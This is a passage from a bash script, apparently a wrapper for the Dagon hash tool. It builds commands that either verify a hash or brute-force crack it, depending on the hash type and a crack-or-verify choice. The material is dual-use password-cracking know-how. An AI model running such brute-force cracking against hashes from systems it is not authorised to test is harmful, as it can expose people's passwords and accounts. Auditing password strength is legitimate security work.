echo -e ""$RS"No dictionary selected, but dictionary option is enabled"$CE""
sleep 5
continue
fi
cd /root/dagon
if [[ "$HASHTYPE" = 1 ]]
then
if [[ "$CORV" = "crack" ]]
then
HASHCOMMAND="python dagon.py -c "$HASH" --bruteforce"
else
HASHCOMMAND="python dagon.py -v "$HASH""
fi
elif [[ "$HASHTYPE" = 2 || "$HASHTYPE" = 3 ]]
then
if [[ "$CORV" = "crack" ]]
then
HASHCOMMAND="python dagon.py -l "$HASH" --bruteforce"
else
HASHCOMMAND="python dagon.py -V "$HASH""
fi
fi